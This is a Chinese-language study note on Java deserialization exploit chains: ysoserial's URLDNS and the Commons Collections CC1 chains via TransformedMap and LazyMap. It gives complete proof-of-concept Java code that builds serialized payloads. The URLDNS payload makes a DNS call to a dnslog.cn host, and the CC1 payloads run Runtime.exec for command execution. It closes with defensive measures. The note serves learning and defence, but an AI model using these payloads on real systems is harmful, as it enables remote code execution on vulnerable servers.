CC链学习-上
字数 1242 2025-08-05 08:19:29
Java反序列化漏洞利用链(CC链)学习文档
一、URLDNS链分析
1. 简介
URLDNS是ysoserial中最简单的利用链,具有以下优点:
- 使用Java内置类构造,不依赖第三方库
- 在目标没有回显时,可通过DNS请求检测反序列化漏洞
2. 利用链
HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()
3. 原理分析
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static Object urldns() throws Exception {
HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL url = new URL("http://txbjb7.dnslog.cn");
// 反射获取URL的hashCode方法
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
// 先设置hashCode为其他值,避免put时触发DNS请求
f.set(url, 0xAAA);
hashMap.put(url, "Yasax1");
// 设置hashCode为-1,反序列化时会重新计算
f.set(url, -1);
return hashMap;
}
public static void main(String[] args) throws Exception {
payload2File(urldns(), "obj");
payloadTest("obj");
}
public static void payload2File(Object instance, String file) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
}
4. 关键点
HashMap.readObject()会调用hash()方法hash()方法会调用key的hashCode()方法URL.hashCode()当hashCode=-1时会调用handler.hashCode()URLStreamHandler.hashCode()会调用getHostAddress()getHostAddress()中的InetAddress.getByName()会发起DNS请求
二、CC1链分析(TransformedMap)
1. 环境要求
- JDK 1.7
- Commons Collections 3.1
- Java版本需在8u71之前
2. 利用链
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
3. 核心组件分析
3.1 TransformedMap
用于修饰Map,在添加新元素时可执行回调:
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);
3.2 Transformer接口
public interface Transformer {
public Object transform(Object input);
}
3.3 ConstantTransformer
public Object transform(Object input) {
return iConstant;
}
3.4 InvokerTransformer
public Object transform(Object input) {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}
3.5 ChainedTransformer
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
4. POC分析
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;
public class CommonCollections11 {
public static Object generatePayload() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value", "xxx");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
}
// 序列化和反序列化方法同上...
}
5. AnnotationInvocationHandler关键点
- 构造函数第一个参数必须是Annotation的子类,且至少含有一个方法
- Map中必须有一个键名为该方法的元素
readObject()方法会调用setValue()
三、CC1链分析(LazyMap)
1. 利用链
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
2. LazyMap关键方法
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
}
return super.map.get(key);
}
3. POC分析
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
public class CommonCollections12 {
public static Object generatePayload() throws Exception {
Transformer[] transformers = new Transformer[] {
// 同上...
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
Map outmap = LazyMap.decorate(innermap, transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) ctor.newInstance(Retention.class, outmap);
Map mapProxy = (Map) Proxy.newProxyInstance(
LazyMap.class.getClassLoader(),
LazyMap.class.getInterfaces(),
handler);
Object instance = ctor.newInstance(Retention.class, mapProxy);
return instance;
}
// 序列化和反序列化方法同上...
}
4. 代理机制利用
- 创建
AnnotationInvocationHandler实例作为InvocationHandler - 使用
Proxy.newProxyInstance创建代理Map - 当调用代理Map的方法时,会进入
AnnotationInvocationHandler.invoke() invoke()中会调用memberValues.get(),即LazyMap.get()
四、总结
1. 关键区别
- TransformedMap:通过
setValue()触发 - LazyMap:通过
get()触发,需结合动态代理
2. 注意事项
- Java 8u71后
AnnotationInvocationHandler.readObject()不再直接使用反序列化的Map - 调试时注意
LazyMap.get()的触发条件 - 使用
Retention或Target等Annotation类作为参数
3. 防御措施
- 升级JDK版本
- 升级Commons Collections库
- 使用反序列化过滤器
- 避免反序列化不可信数据